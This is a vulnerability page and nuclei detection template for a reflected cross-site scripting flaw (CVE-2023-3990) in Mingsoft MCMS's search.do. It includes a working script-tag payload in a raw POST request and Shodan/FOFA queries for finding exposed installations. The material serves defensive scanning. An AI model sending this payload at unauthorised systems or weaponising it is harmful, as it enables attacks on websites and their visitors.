Mingsoft MCMS < 5.3.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

A vulnerability classified as problematic has been found in Mingsoft MCMS up to 5.3.1. This affects an unknown part of the file search.do of the component HTTP POST Request Handler. The manipulation of the argument style leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-235611.

Impact

Successful exploitation could lead to unauthorized access to sensitive data.

Fix

We recommend that you update to the latest version 5.4 or above.

How to confirm it

Send: GET /
Positive when: contains "mingsoft.net"
Send: POST /mcms/search.do
Positive when: contains "<ScRiPt>alert(document.domain)</ScRiPt>alert" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3990 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-3990

info:
  name: Mingsoft MCMS < 5.3.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A vulnerability classified as problematic has been found in Mingsoft MCMS up to 5.3.1. This affects an unknown part of the file search.do of the component HTTP POST Request Handler. The manipulation of the argument style leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-235611.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    We recommend that you update to the latest version 5.4 or above.
  reference:
    - https://gitee.com/mingSoft/MCMS/issues/I7K4DQ
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3990
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3990
    cwe-id: CWE-79
    epss-score: 0.01432
    epss-percentile: 0.73278
    cpe: cpe:2.3:a:mingsoft:mcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: mingsoft
    product: mcms
    shodan-query: http.favicon.hash:1464851260
    fofa-query: icon_hash="1464851260"
  tags: cve,cve2023,mingsoft,mcms,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "mingsoft.net"
        internal: true

  - raw:
      - |
        POST /mcms/search.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        content_title=1&style=%3CScRiPt%3Ealert(document.domain)%3C%2FScRiPt%3Ealert

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<ScRiPt>alert(document.domain)</ScRiPt>alert"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from